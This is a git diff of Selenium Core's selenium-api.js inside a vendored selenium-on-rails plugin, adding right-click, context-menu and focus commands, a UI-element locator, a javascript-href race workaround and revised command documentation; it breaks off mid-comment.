diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-api.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-api.js
index 1646236f..b55265f8 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-api.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-api.js
@@ -37,14 +37,14 @@ function Selenium(browserbot) {
      * 
      * <ul>
      * <li><strong>identifier</strong>=<em>id</em>: 
-     * Select the element with the specified &#64;id attribute. If no match is
-     * found, select the first element whose &#64;name attribute is <em>id</em>.
+     * Select the element with the specified &#064;id attribute. If no match is
+     * found, select the first element whose &#064;name attribute is <em>id</em>.
      * (This is normally the default; see below.)</li>
      * <li><strong>id</strong>=<em>id</em>:
-     * Select the element with the specified &#64;id attribute.</li>
+     * Select the element with the specified &#064;id attribute.</li>
      *
      * <li><strong>name</strong>=<em>name</em>:
-     * Select the first element with the specified &#64;name attribute.
+     * Select the first element with the specified &#064;name attribute.
      * <ul class="first last simple">
      * <li>username</li>
      * <li>name=username</li>
@@ -71,12 +71,12 @@ function Selenium(browserbot) {
      * <li><strong>xpath</strong>=<em>xpathExpression</em>: 
      * Locate an element using an XPath expression.
      * <ul class="first last simple">
-     * <li>xpath=//img[&#64;alt='The image alt text']</li>
-     * <li>xpath=//table[&#64;id='table1']//tr[4]/td[2]</li>
-     * <li>xpath=//a[contains(&#64;href,'#id1')]</li>
-     * <li>xpath=//a[contains(&#64;href,'#id1')]/&#64;class</li>
-     * <li>xpath=(//table[&#64;class='stylee'])//th[text()='theHeaderText']/../td</li>
-     * <li>xpath=//input[&#64;name='name2' and &#64;value='yes']</li>
+     * <li>xpath=//img[&#064;alt='The image alt text']</li>
+     * <li>xpath=//table[&#064;id='table1']//tr[4]/td[2]</li>
+     * <li>xpath=//a[contains(&#064;href,'#id1')]</li>
+     * <li>xpath=//a[contains(&#064;href,'#id1')]/&#064;class</li>
+     * <li>xpath=(//table[&#064;class='stylee'])//th[text()='theHeaderText']/../td</li>
+     * <li>xpath=//input[&#064;name='name2' and &#064;value='yes']</li>
      * <li>xpath=//*[text()="right"]</li>
      *
      * </ul>
@@ -98,8 +98,18 @@ function Selenium(browserbot) {
      * </ul>
      * <p>Currently the css selector locator supports all css1, css2 and css3 selectors except namespace in css3, some pseudo classes(:nth-of-type, :nth-last-of-type, :first-of-type, :last-of-type, :only-of-type, :visited, :hover, :active, :focus, :indeterminate) and pseudo elements(::first-line, ::first-letter, ::selection, ::before, ::after). </p>
      * </li>
-     * </ul>
      * 
+     * <li><strong>ui</strong>=<em>uiSpecifierString</em>:
+     * Locate an element by resolving the UI specifier string to another locator, and evaluating it. See the <a href="http://svn.openqa.org/fisheye/browse/~raw,r=trunk/selenium/trunk/src/main/resources/core/scripts/ui-doc.html">Selenium UI-Element Reference</a> for more details.
+     * <ul class="first last simple">
+     * <li>ui=loginPages::loginButton()</li>
+     * <li>ui=settingsPages::toggle(label=Hide Email)</li>
+     * <li>ui=forumPages::postBody(index=2)//a[2]</li>
+     * </ul>
+     * </li>
+     *
+     * </ul>
+     *
      * <p>
      * Without an explicit locator prefix, Selenium uses the following default
      * strategies:
@@ -142,6 +152,8 @@ function Selenium(browserbot) {
      * <li><strong>regexp:</strong><em>regexp</em>:
      * Match a string using a regular-expression. The full power of JavaScript
      * regular-expressions is available.</li>
+     * <li><strong>regexpi:</strong><em>regexpi</em>:
+     * Match a string using a case-insensitive regular-expression.</li>
      * <li><strong>exact:</strong><em>string</em>:
      *
      * Match a string exactly, verbatim, without any of that fancy wildcard
@@ -151,6 +163,14 @@ function Selenium(browserbot) {
      * If no pattern prefix is specified, Selenium assumes that it's a "glob"
      * pattern.
      * </p>
+     * <p>
+     * For commands that return multiple values (such as verifySelectOptions),
+     * the string being matched is a comma-separated list of the return values,
+     * where both commas and backslashes in the values are backslash-escaped.
+     * When providing a pattern, the optional matching syntax (i.e. glob,
+     * regexp, etc.) is specified once, as usual, at the beginning of the
+     * pattern.
+     * </p>
      */
     this.browserbot = browserbot;
     this.optionLocatorFactory = new OptionLocatorFactory();
@@ -164,20 +184,18 @@ function Selenium(browserbot) {
 
 Selenium.DEFAULT_TIMEOUT = 30 * 1000;
 Selenium.DEFAULT_MOUSE_SPEED = 10;
+Selenium.RIGHT_MOUSE_CLICK = 2;
 
 Selenium.decorateFunctionWithTimeout = function(f, timeout) {
     if (f == null) {
         return null;
     }
-    var timeoutValue = parseInt(timeout);
-    if (isNaN(timeoutValue)) {
-        throw new SeleniumError("Timeout is not a number: '" + timeout + "'");
-    }
-    var now = new Date().getTime();
-    var timeoutTime = now + timeoutValue;
+    
+    var timeoutTime = getTimeoutTime(timeout);
+    
     return function() {
         if (new Date().getTime() > timeoutTime) {
-            throw new SeleniumError("Timed out after " + timeoutValue + "ms");
+            throw new SeleniumError("Timed out after " + timeout + "ms");
         }
         return f();
     };
@@ -206,8 +224,56 @@ Selenium.prototype.doClick = function(locator) {
    * @param locator an element locator
    *
    */
-   var element = this.browserbot.findElement(locator);
-   this.browserbot.clickElement(element);
+    var element = this.browserbot.findElement(locator);
+    var elementWithHref = getAncestorOrSelfWithJavascriptHref(element);
+   
+    if (browserVersion.isChrome && elementWithHref != null) {
+        // SEL-621: Firefox chrome: Race condition bug in alert-handling code
+        //
+        // This appears to be because javascript href's are being executed in a
+        // separate thread from the main thread when running in chrome mode.
+        //
+        // This workaround injects a callback into the executing href that
+        // lowers a flag, which is initially raised. Execution of this click
+        // command will wait for the flag to be lowered.
+        
+        var win = elementWithHref.ownerDocument.defaultView;
+        var originalLocation = win.location.href;
+        var originalHref = elementWithHref.href;
+        
+        elementWithHref.href = 'javascript:try { '
+            + originalHref.replace(/^\s*javascript:/i, "")
+            + '} finally { window._executingJavascriptHref = undefined; }' ;
+        
+        win._executingJavascriptHref = true;
+        
+        this.browserbot.clickElement(element);
+        
+        return Selenium.decorateFunctionWithTimeout(function() {
+            if (win.closed) {
+                return true;
+            }
+            if (win.location.href != originalLocation) {
+                // navigated to some other page ... javascript from previous
+                // page can't still be executing!
+                return true;
+            }
+            if (! win._executingJavascriptHref) {
+                try {
+                    elementWithHref.href = originalHref;
+                }
+                catch (e) {
+                    // maybe the javascript removed the element ... should be
+                    // no danger in not reverting its href attribute
+                }
+                return true;
+            }
+            
+            return false;
+        }, Selenium.DEFAULT_TIMEOUT);
+    }
+    
+    this.browserbot.clickElement(element);
 };
 
 Selenium.prototype.doDoubleClick = function(locator) {
@@ -223,6 +289,17 @@ Selenium.prototype.doDoubleClick = function(locator) {
    this.browserbot.doubleClickElement(element);
 };
 
+Selenium.prototype.doContextMenu = function(locator) {
+    /**
+   * Simulates opening the context menu for the specified element (as might happen if the user "right-clicked" on the element).
+   *
+   * @param locator an element locator
+   *
+   */
+   var element = this.browserbot.findElement(locator);
+   this.browserbot.contextMenuOnElement(element);
+};
+
 Selenium.prototype.doClickAt = function(locator, coordString) {
     /**
    * Clicks on a link, button, checkbox or radio button. If the click action
@@ -236,7 +313,10 @@ Selenium.prototype.doClickAt = function(locator, coordString) {
    */
     var element = this.browserbot.findElement(locator);
     var clientXY = getClientXY(element, coordString)
+    this.doMouseMove(locator);
+    this.doMouseDown(locator);
     this.browserbot.clickElement(element, clientXY[0], clientXY[1]);
+    this.doMouseUp(locator);
 };
 
 Selenium.prototype.doDoubleClickAt = function(locator, coordString) {
@@ -252,7 +332,24 @@ Selenium.prototype.doDoubleClickAt = function(locator, coordString) {
    */
     var element = this.browserbot.findElement(locator);
     var clientXY = getClientXY(element, coordString)
+    this.doMouseMove(locator);
+    this.doMouseDown(locator);
     this.browserbot.doubleClickElement(element, clientXY[0], clientXY[1]);
+    this.doMouseUp(locator);
+};
+
+Selenium.prototype.doContextMenuAt = function(locator, coordString) {
+    /**
+   * Simulates opening the context menu for the specified element (as might happen if the user "right-clicked" on the element).
+   *
+   * @param locator an element locator
+   * @param coordString specifies the x,y position (i.e. - 10,20) of the mouse
+   *      event relative to the element returned by the locator.
+   *
+   */
+    var element = this.browserbot.findElement(locator);
+    var clientXY = getClientXY(element, coordString)
+    this.browserbot.contextMenuOnElement(element, clientXY[0], clientXY[1]);
 };
 
 Selenium.prototype.doFireEvent = function(locator, eventName) {
@@ -267,6 +364,19 @@ Selenium.prototype.doFireEvent = function(locator, eventName) {
     triggerEvent(element, eventName, false);
 };
 
+Selenium.prototype.doFocus = function(locator) {
+    /** Move the focus to the specified element; for example, if the element is an input field, move the cursor to that field.
+    *
+    * @param locator an <a href="#locators">element locator</a>
+    */
+    var element = this.browserbot.findElement(locator);
+    if (element.focus) {
+        element.focus();
+    } else {
+         triggerEvent(element, "focus", false);
+    }
+}
+
 Selenium.prototype.doKeyPress = function(locator, keySequence) {
     /**
    * Simulates a user pressing and releasing a key.
@@ -423,7 +533,7 @@ Selenium.prototype.doMouseOut = function(locator) {
 
 Selenium.prototype.doMouseDown = function(locator) {
     /**
-   * Simulates a user pressing the mouse button (without releasing it yet) on
+   * Simulates a user pressing the left mouse button (without releasing it yet) on
    * the specified element.
    *
    * @param locator an <a href="#locators">element locator</a>
@@ -432,10 +542,21 @@ Selenium.prototype.doMouseDown = function(locator) {
    this.browserbot.triggerMouseEvent(element, 'mousedown', true);
 };
 
+Selenium.prototype.doMouseDownRight = function(locator) {
+    /**
+   * Simulates a user pressing the right mouse button (without releasing it yet) on
+   * the specified element.
+   *
+   * @param locator an <a href="#locators">element locator</a>
+   */
+   var element = this.browserbot.findElement(locator);
+   this.browserbot.triggerMouseEvent(element, 'mousedown', true, undefined, undefined, Selenium.RIGHT_MOUSE_CLICK);
+};
+
 Selenium.prototype.doMouseDownAt = function(locator, coordString) {
     /**
-   * Simulates a user pressing the mouse button (without releasing it yet) on
-   * the specified element.
+   * Simulates a user pressing the left mouse button (without releasing it yet) at
+   * the specified location.
    *
    * @param locator an <a href="#locators">element locator</a>
    * @param coordString specifies the x,y position (i.e. - 10,20) of the mouse
@@ -447,10 +568,25 @@ Selenium.prototype.doMouseDownAt = function(locator, coordString) {
     this.browserbot.triggerMouseEvent(element, 'mousedown', true, clientXY[0], clientXY[1]);
 };
 
+Selenium.prototype.doMouseDownRightAt = function(locator, coordString) {
+    /**
+   * Simulates a user pressing the right mouse button (without releasing it yet) at
+   * the specified location.
+   *
+   * @param locator an <a href="#locators">element locator</a>
+   * @param coordString specifies the x,y position (i.e. - 10,20) of the mouse
+   *      event relative to the element returned by the locator.
+   */
+    var element = this.browserbot.findElement(locator);
+    var clientXY = getClientXY(element, coordString)
+
+    this.browserbot.triggerMouseEvent(element, 'mousedown', true, clientXY[0], clientXY[1], Selenium.RIGHT_MOUSE_CLICK);
+};
+
 Selenium.prototype.doMouseUp = function(locator) {
     /**
-   * Simulates a user pressing the mouse button (without releasing it yet) on
-   * the specified element.
+   * Simulates the event that occurs when the user releases the mouse button (i.e., stops
+   * holding the button down) on the specified element.
    *
    * @param locator an <a href="#locators">element locator</a>
    */
@@ -458,10 +594,21 @@ Selenium.prototype.doMouseUp = function(locator) {
    this.browserbot.triggerMouseEvent(element, 'mouseup', true);
 };
 
+Selenium.prototype.doMouseUpRight = function(locator) {
+    /**
+   * Simulates the event that occurs when the user releases the right mouse button (i.e., stops
+   * holding the button down) on the specified element.
+   *
+   * @param locator an <a href="#locators">element locator</a>
+   */
+   var element = this.browserbot.findElement(locator);
+   this.browserbot.triggerMouseEvent(element, 'mouseup', true, undefined, undefined, Selenium.RIGHT_MOUSE_CLICK);
+};
+
 Selenium.prototype.doMouseUpAt = function(locator, coordString) {
     /**
-   * Simulates a user pressing the mouse button (without releasing it yet) on
-   * the specified element.
+   * Simulates the event that occurs when the user releases the mouse button (i.e., stops
+   * holding the button down) at the specified location.
    *
    * @param locator an <a href="#locators">element locator</a>
    * @param coordString specifies the x,y position (i.e. - 10,20) of the mouse
@@ -473,6 +620,21 @@ Selenium.prototype.doMouseUpAt = function(locator, coordString) {
     this.browserbot.triggerMouseEvent(element, 'mouseup', true, clientXY[0], clientXY[1]);
 };
 
+Selenium.prototype.doMouseUpRightAt = function(locator, coordString) {
+    /**
+   * Simulates the event that occurs when the user releases the right mouse button (i.e., stops
+   * holding the button down) at the specified location.
+   *
+   * @param locator an <a href="#locators">element locator</a>
+   * @param coordString specifies the x,y position (i.e. - 10,20) of the mouse
+   *      event relative to the element returned by the locator.
+   */
+    var element = this.browserbot.findElement(locator);
+    var clientXY = getClientXY(element, coordString)
+
+    this.browserbot.triggerMouseEvent(element, 'mouseup', true, clientXY[0], clientXY[1], Selenium.RIGHT_MOUSE_CLICK);
+};
+
 Selenium.prototype.doMouseMove = function(locator) {
     /**
    * Simulates a user pressing the mouse button (without releasing it yet) on
@@ -557,12 +719,14 @@ Selenium.prototype.doSetSpeed = function(value) {
    throw new SeleniumError("this operation is only implemented in selenium-rc, and should never result in a request making it across the wire");
 };
 
-Selenium.prototype.doGetSpeed = function() {
+Selenium.prototype.getSpeed = function() {
  /**
  * Get execution speed (i.e., get the millisecond length of the delay following each selenium operation).  By default, there is no such delay, i.e.,
  * the delay is 0 milliseconds.
    *
    * See also setSpeed.
+   *
+   * @return string the execution speed in milliseconds.
    */
    throw new SeleniumError("this operation is only implemented in selenium-rc, and should never result in a request making it across the wire");
 };
@@ -721,6 +885,10 @@ Selenium.prototype.makePageLoadCondition = function(timeout) {
     if (timeout == null) {
         timeout = this.defaultTimeout;
     }
+    // if the timeout is zero, we won't wait for the page to load before returning
+    if (timeout == 0) {
+    	  return;
+    }
     return Selenium.decorateFunctionWithTimeout(fnBind(this._isNewPageLoaded, this), timeout);
 };
 
@@ -740,7 +908,9 @@ Selenium.prototype.doOpen = function(url) {
    * @param url the URL to open; may be relative or absolute
    */
     this.browserbot.openLocation(url);
-    return this.makePageLoadCondition();
+    if (window["proxyInjectionMode"] == null || !window["proxyInjectionMode"]) {
+        return this.makePageLoadCondition();
+    } // in PI mode, just return "OK"; the server will waitForLoad
 };
 
 Selenium.prototype.doOpenWindow = function(url, windowID) {
@@ -761,21 +931,43 @@ Selenium.prototype.doOpenWindow = function(url, windowID) {
 
 Selenium.prototype.doSelectWindow = function(windowID) {
     /**
-   * Selects a popup window; once a popup window has been selected, all
+   * Selects a popup window using a window locator; once a popup window has been selected, all
    * commands go to that window. To select the main window again, use null
    * as the target.
    *
-   * <p>Selenium has several strategies for finding the window object referred to by the "windowID" parameter.</p>
+   * <p>
    * 
-   * <p>1.) if windowID is null, then it is assumed the user is referring to the original window instantiated by the browser).</p>
+   * Window locators provide different ways of specifying the window object:
+   * by title, by internal JavaScript "name," or by JavaScript variable.
+   * </p>
+   * <ul>
+   * <li><strong>title</strong>=<em>My Special Window</em>:
+   * Finds the window using the text that appears in the title bar.  Be careful;
+   * two windows can share the same title.  If that happens, this locator will
+   * just pick one.
+   * </li>
+   * <li><strong>name</strong>=<em>myWindow</em>:
+   * Finds the window using its internal JavaScript "name" property.  This is the second 
+   * parameter "windowName" passed to the JavaScript method window.open(url, windowName, windowFeatures, replaceFlag)
+   * (which Selenium intercepts).
+   * </li>
+   * <li><strong>var</strong>=<em>variableName</em>:
+   * Some pop-up windows are unnamed (anonymous), but are associated with a JavaScript variable name in the current
+   * application window, e.g. "window.foo = window.open(url);".  In those cases, you can open the window using
+   * "var=foo".
+   * </li>
+   * </ul>
+   * <p>
+   * If no window locator prefix is provided, we'll try to guess what you mean like this:</p>
+   * <p>1.) if windowID is null, (or the string "null") then it is assumed the user is referring to the original window instantiated by the browser).</p>
    * <p>2.) if the value of the "windowID" parameter is a JavaScript variable name in the current application window, then it is assumed
    * that this variable contains the return value from a call to the JavaScript window.open() method.</p>
-   * <p>3.) Otherwise, selenium looks in a hash it maintains that maps string names to window objects.  Each of these string 
-   * names matches the second parameter "windowName" past to the JavaScript method  window.open(url, windowName, windowFeatures, replaceFlag)
-   * (which selenium intercepts).</p>
-   *
-   * <p>If you're having trouble figuring out what is the name of a window that you want to manipulate, look at the selenium log messages
-   * which identify the names of windows created via window.open (and therefore intercepted by selenium).  You will see messages
+   * <p>3.) Otherwise, selenium looks in a hash it maintains that maps string names to window "names".</p>
+   * <p>4.) If <em>that</em> fails, we'll try looping over all of the known windows to try to find the appropriate "title".
+   * Since "title" is not necessarily unique, this may have unexpected behavior.</p>
+   * 
+   * <p>If you're having trouble figuring out the name of a window that you want to manipulate, look at the Selenium log messages
+   * which identify the names of windows created via window.open (and therefore intercepted by Selenium).  You will see messages
    * like the following for each window as it is opened:</p>
    * 
    * <p><code>debug: window.open call intercepted; window ID (which you can use with selectWindow()) is "myNewWindow"</code></p>
@@ -794,6 +986,8 @@ Selenium.prototype.doSelectFrame = function(locator) {
     * Selects a frame within the current window.  (You may invoke this command
     * multiple times to select nested frames.)  To select the parent frame, use
     * "relative=parent" as a locator; to select the top frame, use "relative=top".
+    * You can also select a frame by its 0-based index number; select the first frame with
+    * "index=0", or the third frame with "index=2".
     *
     * <p>You may also use a DOM expression to identify the frame you want directly,
     * like this: <code>dom=frames["main"].frames["subframe"]</code></p>
@@ -803,25 +997,6 @@ Selenium.prototype.doSelectFrame = function(locator) {
         this.browserbot.selectFrame(locator);
 };
 
-Selenium.prototype.getLogMessages = function() {
-    /**
-        * Return the contents of the log.
-    *
-        * <p>This is a placeholder intended to make the code generator make this API
-        * available to clients.  The selenium server will intercept this call, however,
-        * and return its recordkeeping of log messages since the last call to this API.
-        * Thus this code in JavaScript will never be called.</p>
-        *
-        * <p>The reason I opted for a servercentric solution is to be able to support
-        * multiple frames served from different domains, which would break a
-        * centralized JavaScript logging mechanism under some conditions.</p>
-    *
-        * @return string all log messages seen since the last call to this API
-    */
-        return "getLogMessages should be implemented in the selenium server";
-};
-
-
 Selenium.prototype.getWhetherThisFrameMatchFrameExpression = function(currentFrameString, target) {
     /**
      * Determine whether current/locator identify the frame containing this running code.
@@ -836,44 +1011,7 @@ Selenium.prototype.getWhetherThisFrameMatchFrameExpression = function(currentFra
      * @param target new frame (which might be relative to the current one)
      * @return boolean true if the new frame is this code's window
      */
-    var isDom = false;
-    if (target.indexOf("dom=") == 0) {
-        target = target.substr(4);
-        isDom = true;
-    }
-    var t;
-    try {
-        eval("t=" + currentFrameString + "." + target);
-    } catch (e) {
-    }
-    var autWindow = this.browserbot.getCurrentWindow();
-    if (t != null) {
-        if (t.window == autWindow) {
-            return true;
-        }
-        return false;
-    }
-    if (isDom) {
-        return false;
-    }
-    var currentFrame;
-    eval("currentFrame=" + currentFrameString);
-    if (target == "relative=up") {
-        if (currentFrame.window.parent == autWindow) {
-            return true;
-        }
-        return false;
-    }
-    if (target == "relative=top") {
-        if (currentFrame.window.top == autWindow) {
-            return true;
-        }
-        return false;
-    }
-    if (autWindow.name == target && currentFrame.window == autWindow.parent) {
-        return true;
-    }
-    return false;
+    return this.browserbot.doesThisFrameMatchFrameExpression(currentFrameString, target);
 };
 
 Selenium.prototype.getWhetherThisWindowMatchWindowExpression = function(currentWindowString, target) {
@@ -900,11 +1038,22 @@ Selenium.prototype.doWaitForPopUp = function(windowID, timeout) {
     /**
     * Waits for a popup window to appear and load up.
     *
-    * @param windowID the JavaScript window ID of the window that will appear
+    * @param windowID the JavaScript window "name" of the window that will appear (not the text of the title bar)
     * @param timeout a timeout in milliseconds, after which the action will return with an error
     */
+    var timeoutTime = getTimeoutTime(timeout);
+    
     var popupLoadedPredicate = function () {
-        var targetWindow = selenium.browserbot.getWindowByName(windowID, true);
+        var targetWindow;
+        try {
+            targetWindow = selenium.browserbot.getWindowByName(windowID, true);
+        }
+        catch (e) {
+            if (new Date().getTime() > timeoutTime) {
+                throw e;
+            }
+        }
+        
         if (!targetWindow) return false;
         if (!targetWindow.location) return false;
         if ("about:blank" == targetWindow.location) return false;
@@ -938,15 +1087,45 @@ Selenium.prototype.doWaitForPopUp.dontCheckAlertsAndConfirms = true;
 
 Selenium.prototype.doChooseCancelOnNextConfirmation = function() {
     /**
+   * <p>
    * By default, Selenium's overridden window.confirm() function will
-   * return true, as if the user had manually clicked OK.  After running
+   * return true, as if the user had manually clicked OK; after running
    * this command, the next call to confirm() will return false, as if
-   * the user had clicked Cancel.
-   *
+   * the user had clicked Cancel.  Selenium will then resume using the
+   * default behavior for future confirmations, automatically returning 
+   * true (OK) unless/until you explicitly call this command for each
+   * confirmation.
+   * </p>
+   * <p>
+   * Take note - every time a confirmation comes up, you must
+   * consume it with a corresponding getConfirmation, or else
+   * the next selenium operation will fail.
+   * </p>
    */
-    this.browserbot.cancelNextConfirmation();
+    this.browserbot.cancelNextConfirmation(false);
 };
 
+Selenium.prototype.doChooseOkOnNextConfirmation = function() {
+    /**
+   * <p>
+   * Undo the effect of calling chooseCancelOnNextConfirmation.  Note
+   * that Selenium's overridden window.confirm() function will normally automatically
+   * return true, as if the user had manually clicked OK, so you shouldn't
+   * need to use this command unless for some reason you need to change
+   * your mind prior to the next confirmation.  After any confirmation, Selenium will resume using the
+   * default behavior for future confirmations, automatically returning 
+   * true (OK) unless/until you explicitly call chooseCancelOnNextConfirmation for each
+   * confirmation.
+   * </p>
+   * <p>
+   * Take note - every time a confirmation comes up, you must
+   * consume it with a corresponding getConfirmation, or else
+   * the next selenium operation will fail.
+   * </p>
+   *
+   */
+    this.browserbot.cancelNextConfirmation(true);
+};
 
 Selenium.prototype.doAnswerOnNextPrompt = function(answer) {
     /**
@@ -1032,16 +1211,17 @@ Selenium.prototype.getAlert = function() {
    * Retrieves the message of a JavaScript alert generated during the previous action, or fail if there were no alerts.
    *
    * <p>Getting an alert has the same effect as manually clicking OK. If an
-   * alert is generated but you do not get/verify it, the next Selenium action
+   * alert is generated but you do not consume it with getAlert, the next Selenium action
    * will fail.</p>
    *
-   * <p>NOTE: under Selenium, JavaScript alerts will NOT pop up a visible alert
+   * <p>Under Selenium, JavaScript alerts will NOT pop up a visible alert
    * dialog.</p>
    *
-   * <p>NOTE: Selenium does NOT support JavaScript alerts that are generated in a
+   * <p>Selenium does NOT support JavaScript alerts that are generated in a
    * page's onload() event handler. In this case a visible dialog WILL be
    * generated and Selenium will hang until someone manually clicks OK.</p>
    * @return string The message of the most recent JavaScript alert
+
    */
     if (!this.browserbot.hasAlerts()) {
         Assert.fail("There were no alerts");
@@ -1058,8 +1238,11 @@ Selenium.prototype.getConfirmation = function() {
    * <p>
    * By default, the confirm function will return true, having the same effect
    * as manually clicking OK. This can be changed by prior execution of the
-   * chooseCancelOnNextConfirmation command. If an confirmation is generated
-   * but you do not get/verify it, the next Selenium action will fail.
+   * chooseCancelOnNextConfirmation command. 
+   * </p>
+   * <p>
+   * If an confirmation is generated but you do not consume it with getConfirmation,
+   * the next Selenium action will fail.
    * </p>
    *
    * <p>
@@ -1111,7 +1294,7 @@ Selenium.prototype.getLocation = function() {
    *
    * @return string the absolute URL of the current page
    */
-    return this.browserbot.getCurrentWindow().location;
+    return this.browserbot.getCurrentWindow().location.href;
 };
 
 Selenium.prototype.getTitle = function() {
@@ -1174,24 +1357,24 @@ Selenium.prototype.getEval = function(script) {
    * have multiple lines, but only the result of the last line will be returned.
    *
    * <p>Note that, by default, the snippet will run in the context of the "selenium"
-   * object itself, so <code>this</code> will refer to the Selenium object, and <code>window</code> will
-   * refer to the top-level runner test window, not the window of your application.</p>
+   * object itself, so <code>this</code> will refer to the Selenium object.  Use <code>window</code> to
+   * refer to the window of your application, e.g. <code>window.document.getElementById('foo')</code></p>
    *
-   * <p>If you need a reference to the window of your application, you can refer
-   * to <code>this.browserbot.getCurrentWindow()</code> and if you need to use
+   * <p>If you need to use
    * a locator to refer to a single element in your application page, you can
-   * use <code>this.browserbot.findElement("foo")</code> where "foo" is your locator.</p>
+   * use <code>this.browserbot.findElement("id=foo")</code> where "id=foo" is your locator.</p>
    *
    * @param script the JavaScript snippet to run
    * @return string the results of evaluating the snippet
    */
     try {
+        var window = this.browserbot.getCurrentWindow();
         var result = eval(script);
         // Selenium RC doesn't allow returning null
         if (null == result) return "null";
         return result;
     } catch (e) {
-        throw new SeleniumError("Threw an exception: " + e.message);
+        throw new SeleniumError("Threw an exception: " + extractExceptionMessage(e));
     }
 };
 
@@ -1250,7 +1433,7 @@ Selenium.prototype.getSelectedLabels = function(selectLocator) {
    * @param selectLocator an <a href="#locators">element locator</a> identifying a drop-down menu
    * @return string[] an array of all selected option labels in the specified select drop-down
    */
-    return this.findSelectedOptionProperties(selectLocator, "text").join(",");
+    return this.findSelectedOptionProperties(selectLocator, "text");
 }
 
 Selenium.prototype.getSelectedLabel = function(selectLocator) {
@@ -1268,7 +1451,7 @@ Selenium.prototype.getSelectedValues = function(selectLocator) {
    * @param selectLocator an <a href="#locators">element locator</a> identifying a drop-down menu
    * @return string[] an array of all selected option values in the specified select drop-down
    */
-    return this.findSelectedOptionProperties(selectLocator, "value").join(",");
+    return this.findSelectedOptionProperties(selectLocator, "value");
 }
 
 Selenium.prototype.getSelectedValue = function(selectLocator) {
@@ -1286,7 +1469,7 @@ Selenium.prototype.getSelectedIndexes = function(selectLocator) {
    * @param selectLocator an <a href="#locators">element locator</a> identifying a drop-down menu
    * @return string[] an array of all selected option indexes in the specified select drop-down
    */
-    return this.findSelectedOptionProperties(selectLocator, "index").join(",");
+    return this.findSelectedOptionProperties(selectLocator, "index");
 }
 
 Selenium.prototype.getSelectedIndex = function(selectLocator) {
@@ -1304,7 +1487,7 @@ Selenium.prototype.getSelectedIds = function(selectLocator) {
    * @param selectLocator an <a href="#locators">element locator</a> identifying a drop-down menu
    * @return string[] an array of all selected option IDs in the specified select drop-down
    */
-    return this.findSelectedOptionProperties(selectLocator, "id").join(",");
+    return this.findSelectedOptionProperties(selectLocator, "id");
 }
 
 Selenium.prototype.getSelectedId = function(selectLocator) {
@@ -1350,9 +1533,6 @@ Selenium.prototype.findSelectedOptionProperties = function(locator, property) {
         if (element.options[i].selected)
         {
             var propVal = element.options[i][property];
-            if (propVal.replace) {
-                propVal.replace(/,/g, "\\,");
-            }
             selectedOptions.push(propVal);
         }
     }
@@ -1379,19 +1559,21 @@ Selenium.prototype.getSelectOptions = function(selectLocator) {
     var selectOptions = [];
 
     for (var i = 0; i < element.options.length; i++) {
-        var option = element.options[i].text.replace(/,/g, "\\,");
+        var option = element.options[i].text;
         selectOptions.push(option);
     }
 
-    return selectOptions.join(",");
+    return selectOptions;
 };
 
 
 Selenium.prototype.getAttribute = function(attributeLocator) {
     /**
-   * Gets the value of an element attribute.
+   * Gets the value of an element attribute. The value of the attribute may
+   * differ across browsers (this is the case for the "style" attribute, for
+   * example).
    *
-   * @param attributeLocator an element locator followed by an @ sign and then the name of the attribute, e.g. "foo@bar"
+   * @param attributeLocator an element locator followed by an &#064; sign and then the name of the attribute, e.g. "foo&#064;bar"
    * @return string the value of the specified attribute
    */
    var result = this.browserbot.findAttribute(attributeLocator);
@@ -1425,13 +1607,12 @@ Selenium.prototype.isTextPresent = function(pattern) {
 
 Selenium.prototype.isElementPresent = function(locator) {
     /**
-   * Verifies that the specified element is somewhere on the page.
-   * @param locator an <a href="#locators">element locator</a>
-   * @return boolean true if the element is present, false otherwise
-   */
-    try {
-        this.browserbot.findElement(locator);
-    } catch (e) {
+    * Verifies that the specified element is somewhere on the page.
+    * @param locator an <a href="#locators">element locator</a>
+    * @return boolean true if the element is present, false otherwise
+    */
+    var element = this.browserbot.findElementOrNull(locator);
+    if (element == null) {
         return false;
     }
     return true;
@@ -1450,6 +1631,18 @@ Selenium.prototype.isVisible = function(locator) {
    */
     var element;
     element = this.browserbot.findElement(locator);
+    // DGF if it's an input tag of type "hidden" then it's not visible
+    if (element.tagName) {
+        var tagName = new String(element.tagName).toLowerCase();
+        if (tagName == "input") {
+            if (element.type) {
+                var elementType = new String(element.type).toLowerCase();
+                if (elementType == "hidden") {
+                    return false;
+                }
+            }
+        }
+    }
     var visibility = this.findEffectiveStyleProperty(element, "visibility");
     var _isDisplayed = this._isDisplayed(element);
     return (visibility != "hidden" && _isDisplayed);
@@ -1489,6 +1682,12 @@ Selenium.prototype.findEffectiveStyle = function(element) {
         //   currentStyle is not identical to getComputedStyle()
         //   ... but it's good enough for "visibility"
     }
+
+    if (window.document.defaultView && window.document.defaultView.getComputedStyle) {
+        return window.document.defaultView.getComputedStyle(element, null);
+    }
+
+
     throw new SeleniumError("cannot determine effective stylesheet in this browser");
 };
 
@@ -1504,7 +1703,24 @@ Selenium.prototype.isEditable = function(locator) {
     if (element.value == undefined) {
         Assert.fail("Element " + locator + " is not an input.");
     }
-    return !element.disabled;
+    if (element.disabled) {
+        return false;
+    }
+    // DGF "readonly" is a bit goofy... it doesn't necessarily have a value
+    // You can write <input readonly value="black">
+    var readOnlyNode = element.getAttributeNode('readonly');
+    if (readOnlyNode) {
+        // DGF on IE, every input element has a readOnly node, but it may be false
+        if (typeof(readOnlyNode.nodeValue) == "boolean") {
+            var readOnly = readOnlyNode.nodeValue;
+            if (readOnly) {
+                return false;
+            }
+        } else {
+            return false;
+        }
+    }
+    return true;
 };
 
 Selenium.prototype.getAllButtons = function() {
@@ -1569,7 +1785,7 @@ Selenium.prototype.findWindow = function(soughtAfterWindowPropertyValue) {
    }
    else {
        // matching "name":
-       // If we are not in proxy injection mode, then the top-level test window will be named myiframe.
+       // If we are not in proxy injection mode, then the top-level test window will be named selenium_myiframe.
         // But as far as the interface goes, we are expected to match a blank string to this window, if
         // we are searching with respect to the widow name.
         // So make a special case so that this logic will work:
@@ -1688,25 +1904,22 @@ Selenium.prototype.doDragAndDropToObject = function(locatorOfObjectToBeDragged,
    this.doDragAndDrop(locatorOfObjectToBeDragged, movementsString);
 };
 
-Selenium.prototype.doWindowFocus = function(windowName) {
-/** Gives focus to a window
+Selenium.prototype.doWindowFocus = function() {
+/** Gives focus to the currently selected window
    *
